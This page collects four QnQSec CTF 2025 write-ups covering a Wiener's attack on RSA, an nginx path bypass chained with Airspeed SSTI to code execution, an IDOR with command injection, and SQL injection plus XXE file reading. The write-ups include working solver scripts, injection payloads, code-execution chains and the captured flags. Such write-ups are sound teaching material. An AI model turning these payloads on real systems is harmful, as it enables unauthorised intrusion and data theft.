QnQSec CTF 2025
QnQSec CTF 2025

QnQSec CTF 2025



Mandatory RSA - QnQSec CTF 2025 Writeup

Β 
notion image

πŸ“œ Challenge Description

We are given RSA parameters:
  • (n): a large modulus
  • (e): a large public exponent
  • (c): the ciphertext
The hint explicitly references β€œSize of the D”, which points to a small private exponent attack (Wiener’s attack).

πŸ”Ž Analysis

  • In RSA, the private exponent (d) satisfies (ed \equiv 1 \pmod{\varphi(n)}).
  • Normally, (d) is large, but if (d < \tfrac{1}{3} n^{0.25}), Wiener’s attack can recover it efficiently.
  • The attack uses continued fractions of (e/n) to find convergents that approximate (k/d), where (ed - 1 = k\varphi(n)).
  • Once (d) is recovered, decryption is straightforward: (m = c^d \bmod n).

πŸ› οΈ Exploit Steps

  1. Parse the given (n, e, c).
  1. Run Wiener’s attack to recover (d).
  1. Decrypt the ciphertext: (m = c^d \bmod n).
  1. Convert the integer (m) back into bytes to reveal the flag.

βœ… Solver Script

import math n = 30610867131545893573245403370929044810375908252345734515216335567761070674235240557970829245356614030481955825874376565524126172250295479286829004996105122106474627414932278394880727207687247106535964451736524423676062227917939094755601312619938974463767105253817030590414646900543888347805544511989816392901347341338737906837896070023751031260815782973250734600300683094949304509692321753534435264794596296780586539085130232106649876660029506699244567866816756904364396378546670735017278059889632347338673055259053699246622809620909022329749464060132071464884484682112534813343645706384624586841979729464134335809829 e = 13118943056376811531390887158969590633018246393862457649378429529040458860386531667701783962295691727349409639660447099510339788107269491122926716426902195188489126034970976454948883089008820188515413336458510467289740954821973897752400562551402417627328759394493013110177705814518809291916661933709921311243284600780240090861401353930215487292827235572235250164436683130292475464090785626013810206032736933354696930489144983575446495078404329829091193678240029445525658582548485531996972340914370823232033916046942293331266006647674886928834212203547468218609381456317192256524737280398698305720035095438106008915543 c = 18491889164810617543569456750416875989184817880137548014973592642069416208831086398288449741333647958301433206462225905089767171227296166302076329585813204145393998300807912284373441125769784091235480355305999860836226228064817001671079683866140595167104080925862489688205706558563994071054217252661751197090938128540101902284587959897970686920835999487758527543265902558413502613239565915919268373782402562042295965144636399280059309987259722405692758942811072888497222424752062745376152606372092707679048892146955016482797824514120865462676167840311292744307891590740707933408465096337716317714272609074408402855672 def is_perfect_square(x): r = int(math.isqrt(x)) return r*r == x, r def continued_fraction(a, b): q = [] while b: q.append(a // b) a, b = b, a % b return q def convergents_from_cf(cf): num1, num2 = 1, cf[0] den1, den2 = 0, 1 yield (cf[0], 1) for k in cf[1:]: num = k*num2 + num1 den = k*den2 + den1 yield (num, den) num1, num2 = num2, num den1, den2 = den2, den def wiener_attack(e, n): cf = continued_fraction(e, n) for (k, d) in convergents_from_cf(cf): if k == 0: continue phi_num = e*d - 1 if phi_num % k != 0: continue phi = phi_num // k s = n - phi + 1 D = s*s - 4*n is_sq, r = is_perfect_square(D) if not is_sq: continue p = (s + r) // 2 q = (s - r) // 2 if p*q == n and p > 1 and q > 1: return d, p, q return None res = wiener_attack(e, n) if not res: print("Wiener attack failed.") else: d, p, q = res print("Recovered d:", d) m = pow(c, d, n) flag = m.to_bytes((m.bit_length() + 7)//8, 'big') print("Flag:", flag)

Extracting the Flag

python3 scrit.py Recovered d: 7 p: 176853761228816649333788690878497264575352920554026422800747793118095154357968009833476319896190458655552043866116312357447653436646759560106384864907006010692243358536106106723598497967140667505512294857262423906296888616636856340197073186078570666701722848610246170360171276865123307180185294714754610802029 q: 173085756948878178625788829036396979643547050814457793814341331148766605789187283002068464155352993630741657411008958073160401373772644204592064419349682187445616327397431720300744099788959758958414956292259257567371905493030763155605895732442741621427538435428840044425754108589205232981712545393799037538201 m (int): 44527464308547416606342426287453205148863219199832558621989309174233291105023302455449149746693874045 m (bytes): b'QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}'

Flag

QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}


AirSpeedQnQSec CTF 2025 Writeup


Author:
Daryx
Date: November 1, 2025
Category: Web Security
Difficulty: Medium
notion image

Challenge Overview

This challenge provided us with a Flask web application setup including:
  • docker-compose.yml - Container orchestration
  • nginx.conf - Reverse proxy configuration
  • src/ - Application source code
The goal is to find and read the flag from the server.

Initial Reconnaissance

Analyzing the Nginx Configuration

First thing I did was check out the nginx.conf file. Found something interesting right away:
location = /debug { deny all; return 403; }
The /debug endpoint is blocked at the nginx level - trying to access it directly gives us a 403 Forbidden error.

Source Code Review

Diving into the application code, I discovered several key points:
1. Flag Location
From the Dockerfile, I saw that readflag.c is compiled and placed at /readflag in the container root. Running this binary will give us the flag.
2. Template Engine
The app uses the airspeed template engine (Python implementation of Apache Velocity).
3. The Debug Endpoint
Here's the interesting part in app.py:
@app.route('/debug', methods=['POST']) def debug(): name = request.json.get('name', 'World') return airspeed.Template(f"Hello, {name}").merge({})
This endpoint takes a name parameter from JSON and renders it in a template. The problem? User input is directly embedded into the template string!
4. Debug Mode Enabled
if __name__ == '__main__': app.run(host='0.0.0.0', debug=True)
Flask is running with debug=True, which could provide additional information if we encounter errors.

Vulnerability Analysis

The Access Control Issue

Here's the situation:
  • Nginx layer: Blocks /debug endpoint β†’ Returns 403
  • Flask layer: Has no restrictions on /debug β†’ Would process requests normally
If we can somehow bypass nginx while still reaching Flask, we're in business!

Finding the HTTP Parsing Discrepancy

I wrote a script (solution/find_disrepency.py) to test various byte values and see if nginx and Flask handle them differently:
$ python3 find_disrepency.py Bypass found with byte \\x85
Bingo! The byte \\x85 creates a parsing discrepancy:
  • Nginx perspective: /debug\\x85 β‰  /debug β†’ Allows the request through
  • Flask perspective: /debug\\x85 = /debug β†’ Routes to the debug endpoint
Let me verify this works with a simple test (solution/simple_manini_post.py):
$ python3 simple_manini_post.py HTTP/1.1 200 OK Server: nginx/1.29.2 Date: Mon, 04 Nov 2025 20:14:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 13 Connection: close Hello, manini
Perfect! We successfully bypassed the nginx restriction. The name parameter is being reflected back to us.

Exploitation

Server-Side Template Injection (SSTI)

Since our input goes directly into the template, let's test for SSTI. I checked the Airspeed/Velocity documentation and crafted a test payload:
Payload: #set( $foo = 7*7 )\\n$foo
$ python3 simple_manini_post.py HTTP/1.1 200 OK Server: nginx/1.29.2 Date: Mon, 04 Nov 2025 20:14:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Hello, 49
Excellent! The expression 7*7 was evaluated to 49. We have confirmed SSTI vulnerability.

Achieving Remote Code Execution

Now I need to escalate from SSTI to RCE to execute /readflag. My approach:
  1. Access Python's base object class
  1. Enumerate all subclasses
  1. Find a useful class for command execution
  1. Execute /readflag
Enumeration payload:
#set($s='') #set($base=$s.__class__.__mro__[1]) #foreach($sub in $base.__subclasses__()) $foreach.index: $sub\\n #end
This lists all available subclasses with their indexes. After reviewing the output, I found jinja2.utils.Cycler at index 479.

Final Exploit

The Cycler class gives us access to os.popen() through its __init__.__globals__ dictionary. Here's my final payload:
{ "name": "#set($x='')\\n#set($cycler=$x.__class__.__mro__[1].__subclasses__()[479])\\n#set($init=$cycler.__init__)\\n#set($globals=$init.__globals__)\\n#set($os=$globals.os)\\n#set($popen=$os.popen('/readflag'))\\n$popen.read()" }
Breakdown:
  • #set($x='') - Create empty string object
  • $x.__class__.__mro__[1] - Access base object class
  • .__subclasses__()[479] - Get the Cycler class
  • .__init__.__globals__ - Access global variables from Cycler's init
  • .os.popen('/readflag') - Execute the readflag binary
  • .read() - Read the output
Running the exploit:
$ python3 exploit.py HTTP/1.1 200 OK Server: nginx/1.29.2 Date: Mon, 04 Nov 2025 20:14:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 41 Connection: close Hello, QnQSec{n0w_th1s_1s_th3_r34l_f14g}
πŸŽ‰ Flag captured!

Key Takeaways

  1. HTTP Parsing Discrepancies: Different web servers and application frameworks may parse URLs differently, creating bypass opportunities
  1. Defense in Depth: Access controls should be implemented at multiple layers, not just the reverse proxy
  1. Template Injection Risks: Never directly embed user input into template strings without proper sanitization
  1. Python Introspection: Understanding Python's object model and introspection capabilities is crucial for exploiting SSTI vulnerabilities

Flag

QnQSec{n0w_th1s_1s_th3_r34l_f14g}

Easy Web - QnQSec CTF 2025 Writeup

Author: Daryx
Date: November 4, 2025
Category: Web Security
Difficulty: Easy
notion image

Challenge Overview

We're given access to a web application and a Dockerfile (back) that shows how the challenge environment is set up. Time to hack!

Reconnaissance

Analyzing the Dockerfile

First, I examined the provided back file to understand the environment setup:
RUN mkdir -p /app/.hidden && \\ mv /app/flag.txt /app/.hidden/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt && \\ chown -R nobody:nogroup /app
Key Findings:
  • The flag is moved to /app/.hidden/ directory
  • The filename is randomized: flag-<32_random_alphanumeric_chars>.txt
  • We can use wildcards to read it: /app/.hidden/flag*

Exploring the Web Application

Visiting the challenge at http://161.97.155.116:5000/:
notion image
I immediately noticed a /profile endpoint with a uid parameter. Let's investigate!

Testing Profile Endpoint

Request: /profile?uid=1
notion image
The page displays:
  • Username
  • User role
Request: /profile?uid=2 β€”β€”> Not Found
"User with uid 2 not found" - so not all UIDs exist. Interesting pattern here: we can enumerate users by changing the uid parameter.

Finding the Admin User

The Manual Approach (Not Recommended)

I could manually try different uid values: 1, 3, 4, 5... but that's tedious and time-consuming.

The Smart Approach - Automation (Python Or BurpSuite)

I wrote a Python script (solution/search.py) to automate the enumeration:
# Pseudocode concept: for uid in range(1, 10000): response = requests.get(f'/profile?uid={uid}') if 'admin' in response.text.lower(): print(f'Admin found with uid {uid}') break
Running the script:
$ python3 search.py Admin found with uid 1337
Nice! The admin user has UID 1337 (classic hacker reference πŸ˜„).

Accessing the Admin Profile

Request: /profile?uid=1337
notion image
The page shows a link to an admin portal. Following it...

The Admin Portal

notion image
The admin portal has:
  • An input field (default value: whoami)
  • Output showing: nobody
This looks like command execution! The server is running the command and displaying the result.

Testing Command Injection

Let me try changing the command to ls and submitting the form:
Result: "Access denied"
notion image
Looking at the URL: /admin?uid=2&cmd=ls
Wait... uid=2? That's not the admin! When submitting the form, it changes my UID from 1337 to 2 (a regular user). The application checks the UID to determine access rights.

Exploitation

Insecure Direct Object Reference (IDOR)

The vulnerability is clear:
  1. The admin portal checks if uid has admin privileges
  1. But the uid parameter is client-controlled via the URL
  1. I can manually set uid=1337 to bypass the check!

Crafting the Exploit URL

To execute my command as admin:
  • Set uid=1337 (the admin user)
  • Set cmd=cat /app/.hidden/flag* (read the flag with wildcard)
  • URL-encode the space character: %20
Final URL: /admin?uid=1337&cmd=cat%20/app/.hidden/flag*

Flag

Navigating to the exploit URL:
QnQSec{I_f0und_th1s_1day_wh3n_I_am_using_sch00l_0j}
πŸŽ‰ Got the flag!

s3cr3ct_w3b revenge - QnQSec CTF 2025 Writeup

Β 
notion image

πŸ“œ Challenge Description

β€œI have hidden secret in this web can you find out the secret?”
We are given a small PHP web application with a login page and an XML viewer. The Dockerfile hints that a flag.txt file is copied into the container.

πŸ”Ž Recon & Source Review

  • Login (login.php)
    • $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
      β†’ Vulnerable to SQL Injection (no escaping, no prepared statements).
  • API (api.php)
    • $dom->resolveExternals = true; $dom->substituteEntities = true; $dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT); echo $dom->saveXML();
      β†’ Vulnerable to XXE (XML External Entity) injection.
  • Dockerfile
    • COPY flag.txt /var/flags/flag.txt
      β†’ The flag is located at /var/flags/flag.txt.

πŸͺͺ Step 1 β€” Authentication Bypass

The login query is injectable. Using a simple payload in the username field:
' OR '1'='1' #
with any password, the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' # ' AND password = 'x'
This always returns a row, setting $_SESSION['logged_in'] = true.
βœ… We are now authenticated.

πŸ“¦ Step 2 β€” XXE Exploitation

The XML parser expands external entities. We can craft a malicious XML to read local files.

Minimal payload

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///var/flags/flag.txt"> ]> <root>&xxe;</root>

🏴 Step 3 β€” Extracting the Flag

Send a post request to /api with the xml content and u get the flag at response
QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}

βœ… Conclusion

  • Vulnerability 1: SQL Injection in login β†’ session bypass.
  • Vulnerability 2: XXE in XML parser β†’ arbitrary file read.
  • Flag Path: /var/flags/flag.txt.
Β 

Flag

QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}
Β